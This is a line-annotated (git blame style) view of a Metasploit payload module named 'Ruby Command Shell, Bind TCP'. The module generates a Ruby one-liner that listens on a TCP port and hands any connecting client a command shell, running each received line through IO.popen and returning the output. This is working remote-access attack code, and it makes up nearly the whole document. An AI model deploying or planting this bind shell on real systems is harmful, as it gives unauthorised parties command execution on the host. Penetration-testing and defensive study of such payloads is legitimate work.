2013-01-10 15:24:25 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-01-10 15:24:25 -06:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2013-01-10 15:24:25 -06:00
|
|
|
|
2015-03-09 15:31:04 -05:00
|
|
|
CachedSize = 516
|
|
|
|
|
|
2013-01-10 15:24:25 -06:00
|
|
|
include Msf::Payload::Single
|
2013-01-28 21:34:39 -06:00
|
|
|
include Msf::Payload::Ruby
|
2013-01-10 15:24:25 -06:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Ruby Command Shell, Bind TCP',
|
|
|
|
|
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
|
|
|
|
|
'Author' => [ 'kris katterjohn', 'hdm' ],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'ruby',
|
|
|
|
|
'Arch' => ARCH_RUBY,
|
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
|
'PayloadType' => 'ruby',
|
|
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
|
))
|
|
|
|
|
end
|
|
|
|
|
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2013-01-28 21:34:39 -06:00
|
|
|
return prepends(ruby_string)
|
2013-01-10 15:24:25 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def ruby_string
|
2013-02-12 08:59:11 -08:00
|
|
|
"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
|
2013-04-15 13:58:06 -05:00
|
|
|
"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
|
2013-02-12 11:33:23 -08:00
|
|
|
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
|
2013-01-10 15:24:25 -06:00
|
|
|
end
|
|
|
|
|
end
|